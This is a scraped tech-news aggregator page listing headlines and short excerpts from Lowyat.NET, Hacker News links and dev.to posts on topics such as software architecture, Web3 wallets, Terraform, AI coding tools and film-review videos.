    Sarawak is poised to draw the attention of the regional animation and digital gaming industry next year. In this coming August, the state will be hosting the Borneo Animation and Gaming Festival (BAGF). According to Digital Minister Gobind Singh Deo, Sarawak Premier Tan Sri Abang Johari Tun Openg has agreed to the establishment of a […] The post Sarawak To Become Regional Animation And Gaming Hub With New Festival appeared first on Lowyat.NET.  ( 33 min )
    Fan Project Turns A Classic Nike Sneaker Into A Fully Working Super Nintendo Console
    Footwear and video gaming collaborations are nothing new. The results of these tie-ins are often incredible, while others are… questionable. But for Singapore-based designer Gustavo Bonzanini, he has decided to take this combination of popular culture to an entirely new level. Enter the AIR SNES, a passion project by Bonzanini to celebrate the 35th anniversary […] The post Fan Project Turns A Classic Nike Sneaker Into A Fully Working Super Nintendo Console appeared first on Lowyat.NET.  ( 34 min )
  • Open

    Integration tips for web3j-maven-plugin in Java projects
    As part of my participation in the Web3j Libraries Full Development Lifecycle project under the LF Decentralized Trust Mentorship Program, I’ve developed a tutorial on integrating the web3j-maven-plugin into Java projects. This work contributes to improving the developer experience within the Web3j ecosystem by  ( 4 min )

  • Open

    Tesla's European sales tumble nearly 50% in October
    Comments  ( 153 min )
    Sutskever and LeCun: Scaling LLMs Won't Yield More Useful Results
    Comments  ( 10 min )
    C100 Developer Terminal
    Comments  ( 1 min )
    Running Unsupported iOS on Deprecated Devices
    Comments  ( 6 min )
    Bring Bathroom Doors Back to Hotels
    Comments  ( 7 min )
    Why Strong Consistency?
    Comments  ( 5 min )
    EU approves Chat Control policy
    Comments  ( 109 min )
    The EU made Apple adopt new Wi-Fi standards, and now Android can support AirDrop
    Comments  ( 9 min )
    AirDrop support for Pixel 10 likely exists because of the EU ruling
    Comments  ( 10 min )
    Why 90s Movies Feel More Alive Than Anything on Netflix
    Comments  ( 6 min )
    Inspired by Spider-Man, scientists recreate web-slinging technology
    Comments  ( 16 min )
    Crews Claim Boring Company Failed to Pay Workers and Snubbed OSHA Concerns
    Comments  ( 24 min )
    The most male and female reasons to end up hospital
    Comments
    S&box is now an open source game engine
    Comments
    Don't Download Apps
    Comments  ( 3 min )
    Alan.app – Add a Border to macOS Active Window
    Comments  ( 3 min )
    API that auto-routes to the cheapest AI provider (OpenAI/Anthropic/Gemini)
    Comments  ( 7 min )
    Fara-7B by Microsoft: An agentic small language model designed for computer use
    Comments  ( 24 min )
    China Has Three Reusable Rockets Ready for Their Debut Flights
    Comments  ( 11 min )
    Gemini CLI Tips and Tricks for Agentic Coding
    Comments  ( 142 min )
    Scaleway turns Mac minis into high‑density, Raspberry Pi–managed servers
    Comments  ( 27 min )
    DRAM prices are spiking, but I don't trust the industry's why
    Comments  ( 21 min )
    Optery (YC W22) Hiring CISO, Release Manager, Tech Lead (Node), Full Stack Eng
    Comments  ( 7 min )
    A Vibe Coded SaaS Killed My Team
    Comments  ( 4 min )
    Cloudflare outage should not have happened
    Comments  ( 3 min )
    Slop Detective – Fight the Slop Syndicate
    Comments
    Slashdot Effect
    Comments
    From blood sugar to brain relief: GLP-1 therapy slashes migraine frequency
    Comments
    KDE Plasma 6.8 Will Go Wayland-Exclusive in Dropping X11 Session Support
    Comments  ( 7 min )
    Feedback doesn't scale
    Comments  ( 5 min )
    MIT study finds AI can replace 11.7% of U.S. workforce
    Comments  ( 91 min )
    OpenAI needs to raise at least $207B by 2030 so it can continue to lose money
    Comments  ( 6 min )
    Compressed filesystems à la language models
    Comments  ( 7 min )
    Justice dept. requires Realpage end sharing competitively sensitive information
    Comments  ( 4 min )
    There may not be a safe off-ramp for some taking GLP-1 drugs, study suggests
    Comments  ( 8 min )
    Voyager 1 Is About to Reach One Light-Day from Earth
    Comments  ( 15 min )
    I DM'd a Korean Presidential Candidate and Ended Up Building His Core Campaign
    Comments
    Memories of .us
    Comments  ( 13 min )
    Indie game developers have a new sales pitch: being 'AI free'
    Comments  ( 34 min )
    Kagi Hub Belgrade
    Comments  ( 4 min )
    Qiskit open-source SDK for working with quantum computers
    Comments  ( 14 min )
    Cekura (YC F24) Is Hiring
    Comments  ( 5 min )
    Await Is Not a Context Switch: Understanding Python's Coroutines vs. Tasks
    Comments  ( 25 min )
    I don't care how well your "AI" works
    Comments  ( 4 min )
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  • Open

    Hexagonal Architecture: Simple Introduction + Real-World Example
    Hexagonal Architecture is very popular these days. However, I have seen that a lot of the resources out there that try to teach it do so in a very abstract and technical way. While that is great for understanding all the details, it makes for a poor introduction. So, in this article, I would like to address this issue. I would like to make a simple and straightforward introduction to HA (Hexagonal Architecture) and give you some other resources for further learning, including a public repo that applies HA that I created for this article. So let's begin! Hexagonal Architecture is a design paradigm that focuses on separating the core of the application from everything else and specifying rules on how these two parts should interact. The core of the app is the business logic. All the things t…  ( 8 min )
    The Semantic Object Factory — The Missing Layer Between AI Intent and Backend Meaning
    Semantic Object Factory: The Missing Layer That Aligns AI Intent With Backend Semantics Author: bnggbn For the last two articles, we established two major ideas: IRP — the backend defines semantics; the frontend normalizes them. The frontend is now the semantic boundary, not just a UI renderer. If you missed the first part, IRP established that: the backend defines semantics, and the frontend must normalize them. Today, we address the hard question of how the frontend achieves this normalization. But a critical question emerges: Where do “semantics” actually come from? And how do clients normalize messy AI/human intent into them? Enter one of the most important missing layers in modern system design: This article introduces the concept — not tied to any language, framework, or schema …  ( 8 min )
    UT Registration Plus: An Overview
    Background Around 2023/2024, my friends and I began working on an overhaul of the UT Registration Plus extension, which had already been in the university ecosystem for years prior thanks to Sriram Hariharan, and today it has over 60,000 active users on campus! Check it out here: https://github.com/Longhorn-Developers/UT-Registration-Plus A biannual event students know all to well. It’s a process everyone knows, waking up early to catch your access window, refreshing the page again and again, rushing to copy/paste unique numbers, hoping your gen-ed or major-req courses don’t get snatched by hundreds (or thousands) of other Longhorns before you even blink. Students describe registration as chaotic, time-consuming, and often “a free-for-all” where missing a second can cost you a seat. Bec…  ( 7 min )
    Introducing Remote MCP aka MCP Tool Triggers in Azure Functions: Building Intelligent AI Assistants in the Cloud
    Introduction The workflow for an agentic app starts when the user interacts with it by presenting a prompt through a chat interface or form. The agent gets this prompt and analyzes it as to what the user intends and requires. It can take the help of LLM to acquire tasks, clarify the details, and break the whole into subtasks. As soon as the agent has a clear understanding of the target, it selects the most appropriate specialized tools or services to achieve the goal. These bring APIs, databases, generative AI (for writing, image generation, etc.), or other partnered systems, and the agent might arrange or put together multiple tool actions dependent on the difficulty of the job. The agent continually assesses and alters, carrying out the tool calls again and asking for more clarificatio…  ( 11 min )
    The Future Belongs to System Thinkers
    Exceptional developers design systems, optimize for performance, and use AI to operate at 10x efficiency. Because code is just a tool. In 2025, the developers who win are the ones who: Write smarter. Ship faster. Think bigger.  ( 6 min )
    If You’re Not All-in on Databricks: Why Metadata Freedom Matters
    Stop and consider your data architecture right now. You are likely grappling with these challenges: 1. Are you facing vendor lock-in and prohibitive costs? 2. Is fragmented metadata wasting your engineering resources? 3. Are your BI systems failing your AI strategy? These three questions directly point to the core friction points stemming from metadata constraints, which are crippling modern data teams: Vendor Lock-in Risk: Fragmentation & Operational Complexity: Multimodal Data Silos: The reality is, the modern data stack is facing a “fragmentation crisis.” Your metadata, which should be the bridge for unified governance, has instead become the primary casualty of this fragmentation. We acknowledge that platform-specific solutions like Databricks Unity Catalog (UC) deliver a smooth exper…  ( 10 min )
    Breaking Free from Single Inheritance Chains With JavaScript Mixins
    JavaScript's prototype chain has a limitation: you can only inherit from one parent class. But what if you want your Dragon class to both Fly and BreatheFire? Or your SmartPhone to be both a Camera and a MusicPlayer? Enter mixins – your secret weapon for composing powerful, reusable behaviors. In JavaScript, this is perfectly valid: class Animal { move() { console.log("Moving..."); } } class Dog extends Animal { bark() { console.log("Woof!"); } } But what if we want Dog to also inherit from a Swimmer class? JavaScript says "no way." We're stuck with a single inheritance chain, which can feel restrictive when building complex applications. A mixin is a class or object that provides methods to other classes without being a parent class itself. Think of mixins as ingredients you can ble…  ( 9 min )
    Why I Switched to a Feature-Based Folder Structure (And Why You Should Too)
    As projects grow, the architecture often becomes the silent bottleneck. Recently, I refactored one of my projects by shifting from a traditional file-type folder structure to a feature-based architecture, and the difference has been significant. In this post, I’ll walk through why I made the switch, how I structured it, and what benefits I gained. Hopefully, this helps you decide if it’s the right move for your project, too. Most React or frontend projects start with something like: src/ components/ hooks/ utils/ pages/ context/ styles/ This works… until it doesn’t. As your project grows, you start jumping between folders just to work on a single feature. A simple update may require touching multiple directories. Files become harder to discover, boundaries blur, and the struct…  ( 7 min )
    SMTP Zen - Reliable, High Deliverability email service for developers
    I built a tool for devs who are tired of babysitting SMTP and deliverability every time they ship a new app or spin up a small SaaS: SMTP Zen. It’s a transactional email + standard mailbox service aimed at developers, freelancers and domain investors who just want stuff to land in the inbox and move on with their lives. What it does: Unlimited domains & mailboxes – No “seats”. Add as many domains/mailboxes as you need and forget about artificial limits. SMTP that actually lands – Guided SPF/DKIM/DMARC setup and enforced TLS so you don’t have to become an email wizard to stay out of spam. Simple sending & forwarding – Custom domains, per-client aliases and mailbox-free forwarders. Great for spinning up project/client addresses in seconds. Real-time logs – Full send/receive paths and errors for every message so debugging deliverability isn’t a guessing game. Zero-downtime IMAP migration – IMAP sync with automatic delta sync, so you can move existing mailboxes without scary cutovers. Usable webmail & dashboard – Fast webmail (Crossbox) with unified inbox, calendar and contacts, plus a clean panel for domains, DNS, mailboxes, forwarders, logs and billing. As a launch promo I set up a 20% off coupon (valid until Dec 31): ZENLAUNCH If you’re curious or want to tear it apart, you can check it out here: SMTP Zen  ( 6 min )
    I Built a Game in Less Than a Day (Without Writing a Single Line of Code)
    We’ve all had those fuzzy ideas: “Wouldn’t it be fun to make a simple swipe-or-click game?” Usually, that thought dies somewhere between opening a blank repo and realizing you don’t have art, sound, or time. This time, I didn’t let it die. I opened up Gemini Studio AI (free version, nothing paid) and threw in a prompt: “I want to develop a simple yet relatable and fun game. Fuzzy concept is mobile swipe or click type game.” And off we went. The first draft was rough — ugly, basic, but it worked. I played for a few minutes, scribbled notes in the chat box, refined my prompt, and waited. Rinse, repeat. That loop was surprisingly engaging. Instead of grinding through code, I was iterating on ideas. Things that would normally take me a week were happening in two minutes. I sketched out…  ( 7 min )
    Python for Absolute Beginners: A Complete, Practical Guide Before You Even Start Coding
    Python for Absolute Beginners A Complete, Practical Guide Before You Even Start Coding Most people start learning Python by copying short snippets like: print("Hello, world!") They run the code, see the output, feel good, and… they learn nothing. Real learning happens when you understand the foundations behind the syntax — the concepts that turn a beginner into a real programmer. This guide does exactly that: it builds your foundations through clear explanations and practical examples, including a real micro-project you can extend. Is (and Why It Matters) Python is: high-level → you focus on ideas, not memory interpreted → runs code line-by-line dynamically typed → no type declarations general purpose → used by AI, web dev, automation, analytics, DevOps The design…  ( 9 min )
    React vs. Vue.js: The 2025 Developer’s Guide to Performance, Ecosystem, and Scalability
    React vs. Vue.js: The 2025 Developer’s Guide to Performance, Ecosystem, and Scalability In the fast-paced world of web development, selecting the right JavaScript framework can make or break your project’s success. React and Vue.js remain two of the most popular choices, each offering unique strengths for building responsive, scalable, and maintainable applications. This comprehensive guide compares React and Vue.js through the lens of performance, long-term support, ecosystem maturity, and developer experience, empowering you to make informed decisions for your next project. With real-world code examples, performance benchmarks, and insights into 2025’s web development landscape, this post is designed for developers seeking clarity on which framework aligns with their goals. Whether you…  ( 11 min )
    Crypto Wardrobe 2026: How I Tested AI Smart Clothing That Replaced My Wallet
    I'll never forget the moment I realized my wallet was becoming obsolete. I was standing in a busy coffee shop, my hands full with my laptop bag and a dripping umbrella. When it came time to pay, I had to perform an awkward juggling act—balancing everything while fumbling for my wallet, then struggling to tap my phone. The person behind me sighed loudly. That’s when it hit me: why are we still carrying separate devices in 2025? This personal frustration led me down a rabbit hole of research and a unique opportunity to test a prototype that most people think is science fiction. By 2026, your clothing won't just be smart—it will be your wallet, your ID, and your digital identity. Here’s what I learned from a week of living in the future. The Prototype That Changed Everything The lining felt l…  ( 11 min )
    When Mastery Gets Flagged: AI Detectors, False Positives, and the Inversion of Trust
    In 1776, Thomas Jefferson drafted the Declaration of Independence. In 2025, AI detectors flagged it as 99% machine-written. That’s not a metaphor. That’s a documented failure. ZeroGPT and OpenAI’s own detection tools labeled the Declaration—a document written nearly 250 years before large language models existed—as AI-generated. Not borderline. Not “maybe.” But with 97–99% confidence. And it’s not just the Declaration. The 1836 Texas Declaration of Independence? 86.54% AI. The U.S. Constitution? AI. The Book of Genesis? AI. These tools don’t know what a human is. They don’t know what a machine is. They only know statistical patterns—and they’ve been trained on the very tradition of excellent human writing they now penalize. I’ve Lived This I’ve published six cybersecurity books. I’ve spent…  ( 7 min )
    How to Integrate Wallet-as-a-Service Into Your App: A Developer-Friendly Guide
    Integrating blockchain into modern apps no longer requires building a wallet system from scratch, Wallet-as-a-Service provides ready-made key management, address generation, multi-chain transactions, and secure signing through simple APIs or SDKs. For fintech, payment apps, Web3 platforms, exchanges, and marketplaces, WaaS dramatically cuts development time, removes the need for cryptography expertise, and delivers enterprise-grade security without maintaining a full wallet backend. What WaaS Is — In Technical Terms From a developer’s perspective, WaaS is a cloud-hosted, programmatic wallet layer that abstracts private-key creation, safe storage, multisig/MPC logic, blockchain interaction, transaction building, fee estimation, and broadcasting. The provider handles encryption, key isolatio…  ( 8 min )
    2 options to install Cursor CLI for Windows (WSL2)
    Hi everyone! In this article I wanna show you 2 options to install and run the cursor CLI on a Windows O.S (both require WSL2 + linux distro like ubuntu) for .NET developers (but you can use it for other stacks as well, just adapt it): Everything including git and repositories within the linux distro (better performance but greater overhead to setup) Just the Cursor CLI within the linux distro (easier, performance overhead just for the Cursor CLI) Here you'll also learn how to setup the terminal within the Visual Studio 2022+ to use the Cursor CLI (or others tools). We won't focus on details like how to setup WSL2 + linux distro, neither install the git, you can google it. I know you can. Note: I'll consider you have the WSL2 already set up! Once you have the linux distro running thr…  ( 7 min )
    Kicking Off 2026: World Cup Predictions & Insights
    As we count down to the December final draw for the 2026 FIFA World Cup, excitement is building around the world. For the first time in tournament history, three countries will share hosting duties: Canada, Mexico, and the United States. With a combined total of 16 host cities, each with its unique charm and infrastructure developments, fans are eager to experience the thrill of live football in these vibrant locations. According to the official FIFA website, the 16 host cities for World Cup 2026 will be: Canada: Toronto (BMO Field), Vancouver (BC Place), Montreal (Olympic Stadium) Mexico: Guadalajara, Mexico City, Puebla United States: Atlanta, Boston, Dallas, Houston, Kansas City, Los Angeles, Miami, New York/New Jersey, Philadelphia, San Francisco Bay Area, Seattle As the host cities ge…  ( 7 min )
    Wallet-as-a-Service: The Missing Layer in Modern Web3 Infrastructure
    If you've ever tried building a Web3 product, you know the pain: the wallet is often the single most complex, expensive, and risky component. Developing your own wallet isn’t a “small module” — it's effectively a standalone product with its own infrastructure, logic, security requirements, and UX challenges: key management, seed phrase handling, secure signing, multi-chain support, device binding, recovery flows, backend maintenance, chain upgrades… it goes on. Handling all that reliably can consume months of development work and a significant portion of your budget. That’s where Wallet-as-a-Service (WaaS) comes in — and why it’s quickly becoming the “Firebase for Web3.” WaaS abstracts away most of the complexity, allowing teams to focus on building product features instead of wrestling wi…  ( 8 min )
    Boost Developer Revenue with Monetzly's AI Conversation API
    What If Your AI App Could Generate Revenue in Two Ways Simultaneously? In the booming landscape of AI applications, developers are confronted with a common challenge: how to monetize their innovations without compromising user experience. What if we told you there’s a way to generate revenue not just from your app but also from hosting relevant advertisements? Enter Monetzly—the first dual-earning platform designed specifically for AI conversations. Imagine your users enjoying a seamless chat experience while you simultaneously earn revenue from their interactions. With Monetzly, you can achieve just that. Our platform allows developers to monetize their AI applications in two distinct ways: directly from app usage and through conversation-native advertising. First Dual-Earning Platform …  ( 7 min )
    SKALDA – privacy-first browser tools that run entirely in your browser
    I’ve started building SKALDA, a multi-brand suite of privacy-first browser tools. Main site: https://skalda.io Most online tools for “small” tasks — converting units, files, images, video, audio, working with PDFs, subtitles, data, and more — force you to upload files, create an account, and accept tracking. SKALDA does the opposite: tools run locally in the browser no logins or user accounts no file uploads to my servers no tracking scripts everything localized into 62+ languages, including RTL What exists today UNITS – https://units.skalda.io Scientific unit converter with: highly customizable Smart Tab on the homepage 500+ units across many categories smart calculators and custom units “Units Museum” timeline + a small interactive game bulk converter that can handle millions of…  ( 7 min )
    I Stopped Fighting My AI How Kiro's agent hooks and steering files fixed my biggest frustration with AI coding tools
    I've been using AI coding assistants for about 8 months now. Cursor, GitHub Copilot, the usual suspects. hey're all impressive, but they share one fatal flaw that's been driving me insane: They forget everything. You explain your project architecture. The AI generates some code. Five minutes later, you're explaining the same architecture again. Every session starts from scratch. Every feature request requires re-explaining your context. I found myself maintaining a text file of prompts to copy-paste at the start of each session: "We use Zustand for state management, not Redux" "All API calls go through our custom fetcher with retry logic" "Components follow the compound component pattern" "Test files go in __tests__ not next to the component" I was spending 10% of my coding time just expl…  ( 11 min )
    Wing It: Cloud CRUD with Winglang
    When it comes to infrastructure as code, tools like Terraform, AWS CDK, and Pulumi immediately come to mind. Although these tools include testing capabilities, they often lack a fully integrated local simulation environment that accurately mimics cloud behavior. This gap can lead to longer, more expensive iteration cycles during development. Winglang addresses this challenge by providing a local simulator that mimics cloud behavior, enabling developers to test their code locally before deploying it to the cloud. Additionally, its simple and intuitive syntax and concept of preflight (static infrastructure code) and inflight (the application logic) code makes it easy for developers to work with cloud resources, regardless of their level of experience. In this post, we'll build a CRUD API usi…  ( 10 min )
    Best Production Management Software for Small Manufacturers in 2025
    Small manufacturers often rely on spreadsheets or disconnected tools, which leads to delays, stock errors, and low visibility. The original article explains why modern production-management software helps reduce mistakes, sync inventory, and provide real-time visibility on the shop floor. Real-time production tracking Automatic inventory and warehouse syncing BOM (Bill of Materials) management with version control Easier planning and fewer human errors Integrations with ecommerce, accounting, and shipping Simple onboarding for small teams Scalable without needing a full ERP Real-time dashboards Inventory automation BOM versioning Easy training Strong integrations (Shopify, QuickBooks, scanners, etc.) Top Recommended Tools (2025) Software Best For Katana Ecommerce-driven and DTC manufacturers MRPeasy Small workshops replacing spreadsheets Odoo Growing teams that need modular ERP flexibility Fishbowl Manufacturing Inventory-heavy and regulated products Prodsmart Real-time shop-floor digitization JobBOSS² Custom make-to-order job shops ERPNext Open-source ERP built for scalability For ecommerce-first workflows → Katana, MRPeasy For scalable ERP features → Odoo, ERPNext For strong warehouse controls → Fishbowl For digitizing paper processes → Prodsmart For custom one-off production → JobBOSS² Final Note The right tool depends on your workflow. Start by identifying your pain points (inventory errors, scheduling, visibility), then test the tools that match your needs. 👉 Read the full article here: https://www.learn-dev-tools.blog/best-production-management-software-for-small-manufacturers/  ( 6 min )
    **Implemente un Monitoreo Transaccional Sostenible con IA/ML
    Implemente un Monitoreo Transaccional Sostenible con IA/ML En la era digital, la prevención del lavado de dinero (PLD) es un desafío constante para los sujetos obligados en México. La Ley Federal de Prevención e Identificación de Operaciones con Recursos de Procedencia Ilícita-LFPIORPI exige una adopción efectiva de medidas preventivas para evitar la participación en operaciones con recursos de procedencia ilícita. En este sentido, la implementación de una plataforma de PLD basada en Inteligencia Artificial (IA) y Machine Learning (ML) puede ser una herramienta clave para asegurar el cumplimiento sostenible y reducir costos. Beneficios de una plataforma de PLD con IA/ML Trazabilidad: una plataforma con IA/ML como TarantulaHawk.ai permite una trazabilidad completa de las operaciones, lo q…  ( 7 min )
    IVVV Stack
    It's not PERN, JAM, LAMP, or MEAN. The IVVV Stack is a simple architecture that is completed entirely on the front-end, consisting of the following components: Indexed DB Vanilla JS Vanilla HTML Vanilla CSS Simple, right? Here's a memo app created using the IVVV stack. Application https://stakiran.github.io/memoapp1/ Repository https://github.com/stakiran/memoapp1 Prompt https://chatgpt.com/share/6926aad9-faf0-8007-bcb8-9e64cd1f86b1 It's quite challenging for modern engineers to develop using vanilla JS, HTML, and CSS. Even for small-scale projects, it's likely not something you'd want to do. Use generative AI. With a decent level of language skills, you can create simple prototypes. By using randomness and asynchronous operations, you can simulate multiple users. Even with just IVVV, you can create something fairly decent.  ( 6 min )
    Building AI-First DevOps: My very personal view on Vibe Coding and Autonomous Development
    The Takeaway / TLDR AI-First DevOps is not just an evolutionary step in software engineering—it’s a revolutionary shift in how we build, scale, and manage digital systems. The companies and teams that thrive won’t be those who simply bolt on AI add-ons, but those who fundamentally reimagine their workflows, culture, and infrastructure from the ground up, trusting in intelligent automation to unlock exponential gains. This moment demands more than tool adoption; it calls for a reinvention of roles, priorities, and even the web itself. The future belongs to those bold enough to embrace the autonomy and partnership AI offers, while building the guardrails and documentation that allow trust to flourish. The real risk isn’t being replaced by AI, but missing the race because you hesitated at …  ( 18 min )
    How to launch your SaaS as an engineer
    Launching a SaaS as an engineer feels exciting and terrifying at the same time. You probably have a brilliant product idea but freeze when it comes to the business side. You've built something amazing in your spare time, maybe solved a problem that's been bugging you for months. The hard part usually isn’t the code — it’s everything around it. The first step is defining the problem in painfully simple language. If you can’t explain what your product does in one sentence to a non‑technical friend, it’s going to be 10x harder to explain it to a potential user. Skip the buzzwords and nail the “who, what, why”: who it’s for, what it does, and why it matters. Next, build the absolute smallest version of the product that still solves the core problem. Not a “tiny version of your big vision,” but…  ( 7 min )
    **Temporal Attention-based Long-Short Term Memory (TALSTM) C
    Temporal Attention-based Long-Short Term Memory (TALSTM) Challenge In this challenge, we'll push the limits of Long Short-Term Memory (LSTM) networks by introducing a novel temporal attention mechanism. Your task is to design, train, and evaluate a TALSTM model that can learn to forecast the trajectory of a dynamic system with multiple, interacting components. Constraints: Multi-modal input: Your model will accept three types of input data: Time-series data (e.g., sensor readings) with 10 features Image data (e.g., camera feeds) with 3 color channels Text data (e.g., system logs) with 5 keywords Dynamic system: The system consists of 5 interacting components, each with its own temporal dynamics. The components are: Component A: Temperature (time-series) Component B: Humidity (time-seri…  ( 7 min )
    Garbage Collection: Young Vs Old generation
    Garbage collection?? Huhh it is just a small topic. wait what???? 😮😮 Then what are these terms 1. The Beginning: Empty Memory Young Generation (Green): Where new objects are born. It's often smaller because most objects die quickly. Old Generation (Blue): Where objects that have proven to live a long time go. This area is typically larger. Young generation structure: Eden Space: Where all new objects initially go. Survivor Space 1 (S1): Objects surviving an Eden collection are moved here. Survivor Space 2 (S2): Objects are moved between S1 and S2 in subsequent collections. Collection Type: The GC event that collects this area is called a Minor GC. Process: When Eden fills up, a Minor GC is triggered. Objects that are still reachable (in use) in Eden and the active Survivor space are …  ( 7 min )
    Stop Wrestling with React Icons - Meet Iconx: Your New Icon Workflow
    The Icon Problem We've All Faced Picture this: You're building a React app, and you need icons. Simple enough, right? Wrong. You start with react-icons, and suddenly your bundle size balloons to 2MB+. You switch to icon fonts, but they feel like using a fax machine in 2025. You try Iconify's web components, but oops—your app breaks offline. And don't even get me started on manually copying SVGs from different icon libraries and trying to maintain them. 🤯 Today, I want to introduce you to Iconx—a CLI tool that fundamentally changes how we work with icons in React. Built by the team at Saas UI, it takes inspiration from the shadcn/ui philosophy: generate the code you own and control. But here's the kicker: instead of being limited to a single icon set, you get access to 200,000+ icons fr…  ( 9 min )
    Terraform Plan: Your Last Line of Defense Before Infrastructure Changes
    Terraform plan is the guardrail between your code and your live infrastructure. Every time you run it, Terraform compares your desired configuration with the current state and shows you exactly what’s going to change — before anything actually happens. If you want to avoid destructive changes, catch drift early, and prevent misconfigured variables from sneaking into production, this guide is for you. 🚀 This post covers: How the Terraform plan engine works How to read plan output (add/change/destroy) How to automate plan checks in CI/CD Common flags you'll actually use Real copy/paste examples Team-friendly best practices Bonus: risk-aware reviews with ControlMonkey Let’s get into it. Terraform plan generates an execution plan without changing any resources. It refreshes state (un…  ( 9 min )
    Stop Refreshing Weather Sites: Automate Alerts with Python and Playwright
    Learn how to scrape live weather data, store it in SQLite, and receive automatic notifications - all in a practical end-to-end Python project. Living in a ski town means the weather basically runs my life. One minute it’s sunny and warm, the next it's below freezing, and we're getting over a foot of snow. More snow = more fun, but I have to be aware that I cannot simply get up and go. Someone has to shovel out the driveway and scrape off the car. Tired of constantly refreshing weather websites, I decided to automate the whole process. I built a Python pipeline that scrapes current conditions, stores them in SQLite, applies simple alert rules, and emails me whenever something important happens, so I never miss a snowstorm (or an exceptionally freezing morning) again. The goal was simple …  ( 8 min )
    Ringer Movies: ‘Two for the Money’ With Bill Simmons, Chris Ryan, and Cousin Sal | The Rewatchables
    Bill Simmons, Chris Ryan, and Cousin Sal fire up their favorite Monday night parlay as they revisit the 2005 sports thriller Two for the Money (starring Matthew McConaughey, Al Pacino, and Rene Russo). They dive into the film’s sports-betting hijinks, debate the most rewatchable scene, and roll through a rapid-fire category showdown. Along the way, the crew delivers hot takes, laughs off epic gambles, and plugs Subaru’s Share the Love event, State Farm’s coverage tips, and all the must-follow Ringer channels. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    CinemaSins just dropped “Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less,” a rapid-fire riff on all the movie’s quirks, gaffes and head-scratching moments, delivered in their trademark snarky style. They also plug the CinemaSins universe—website, YouTube channels, Discord, Reddit and a sinful poll—invite you to support them on Patreon, and give shout-outs to the writing team and all their social handles. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Mission: Impossible - The Final Reckoning In 27 Minutes Or Less
    Everything Wrong With Mission: Impossible – The Final Reckoning CinemaSins unleashes its trademark snark on Tom Cruise’s latest MI outing, packing every nitpick (including the “death on film” gag) into a brisk 27-minute romp and mourning that the franchise might be losing steam. They also plug their digital HQ—hit up cinemasins.com for more vids, vote in their sinful poll, back ’em on Patreon, and join the party on Discord, Reddit, TikTok, Instagram and beyond. Don’t forget to stalk their writers on Twitter and Instagram too! Watch on YouTube  ( 6 min )
    I think e-mail reactions are a crime
    A post by Jess Lee  ( 6 min )
    Python Testing Techniques Every Developer Should Master in 2024: TDD, Mocking & CI
    As a best-selling author, I invite you to explore my books on Amazon. Don't forget to follow me on Medium and show your support. Thank you! Your support means the world! Testing is like having a safety net for your code. It helps make sure that everything works the way it should, even when things change. I think of it as a way to catch mistakes before they cause bigger problems. When I write code, I always include tests to verify that each part does its job correctly. This saves me time later because I can spot issues quickly. Let me start with unit testing. This is where you test small pieces of your code, one at a time. It is like checking each ingredient before cooking a meal. In Python, you can use the unittest framework to do this. It lets you create test cases and check if the resul…  ( 11 min )
    From Figma to Frontend: Ship Features Faster with Kombai
    So, you are a frontend developer and you receive some Figma designs from a client, along with a clear plan for building the UI. Then, a few minutes into turning these designs into code, the complexity begins to surface, as handling variations of components, styling, and other interactivity of the design becomes apparent. In addition to the time and effort, this can be a big challenge for developers. However, turning complex Figma designs into clean and responsive code without worrying about these challenges is becoming a thing of the past. Figma to code with Kombai gives you a frontend AI agent that can convert Figma designs into responsive live features. This frontend AI agent is built as a plugin/extension that developers can use to automate the process of turning Figma designs into code…  ( 11 min )
    How I Built a Private Finance Tool with Vanilla JS and Local Storage
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    What happens when you type a URL into your browser?
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    Revolutionize Your Video Workflow with AI Clip Creation
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    Sha1-Hulud Attack: What Happened & How to Clean Your GitHub Safely
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    The Squirrel 🐿 Fell into the Well 😧
    Happy to type again. squirrel(Anil) 🐿. but in my home i can watch the squirrel fight and daily routines of squirrel. in my working hours i work in upstairs. when i want some break or need water i go down to play with pets and drink water. like this today morning i came for short break i saw 2 squirrels are chasing each others in tree and they suddenly fall into the well(kinaru) ,without any doubt i go there and put the bucket into that well and try to pick up them one squirrel understand my help and try to catch the rope but another one is not understand.first one is catch the rope and get out of the well. and another one is try to get out of the well by running on the well's wall but it again and again it fell into the well i try many attempt help them but it go away from the rope and the bucket. after some time finally it understand and come near to the rope and get this rope and quickly pulling the rope and get out from the well.. and they both run away from the well. here i want to tell one thing if u r studying then take some break on every 1 or 2 hours to relax yourself. if u r in institute or any group studies spend your break time with your friends or any one else... keep learning .. keep helping..  ( 6 min )
    Building Krome — My Clean, Modern AI Agent Template for Next.js
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    THINKING GAME DOCUMENTARY: MY REVIEW
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    Untitled
    Check out this Pen I made!  ( 5 min )
    Write Clean Code
    Introduction Why Must We Write Clean Code? To answer this question, let me tell you A story mentioned in the book "Clean Code" by the author In the late 80s, a killer app was written. It was very popular, and lots of professionals bought and used it. But then the release cycles began to stretch. Bugs were not repaired from one release to the next. In short, writing code that is difficult to read and understand clearly makes it hard for other programmers to understand and modify the code. So, if you want to write clean code to help your staff work without any question mark, like what this code does and what its meaning is, you can follow a series of Clean Code that comprises many chapters, and every chapter will contain some guidelines that help you to write clean code. Agendia What i…  ( 11 min )
    Stop wasting time on dud ChatGPT prompts.
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    Building Modern Backends with Kaapi: Introduction & Getting Started
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    When PostgreSQL Transactions Lie to You: A Detective Story About Phantom Reads
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    Why S3 Performance Limits Matter — and How Archil Solves Them
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    Microservices Authentication & Authorization: A Beginner's Guide
    Hello there! If you've ever felt overwhelmed by the idea of securing a microservices architecture, you are not alone. It's a common stumbling block. In a monolithic app, you just check the session in one place. But when you have 5, 10, or 50 services, how do you make sure only the right people get in? Today, we're going to build a robust, production-ready authentication flow using Node.js. We'll use a pattern that is both scalable and easy to understand: Gateway Authentication and Service-Level Authorization. By the end of this tutorial, you'll have a working system with 3 services: API Gateway: The entry point (The Bouncer). Auth Service: Handles Login (The ID Issuer). Custom Service: A demo service with Public, User, and Admin routes. Let's dive in! Before we write code, let's visuali…  ( 9 min )
    Data Lakes vs. Data Warehouses: Which Model Fits Your Use Case?
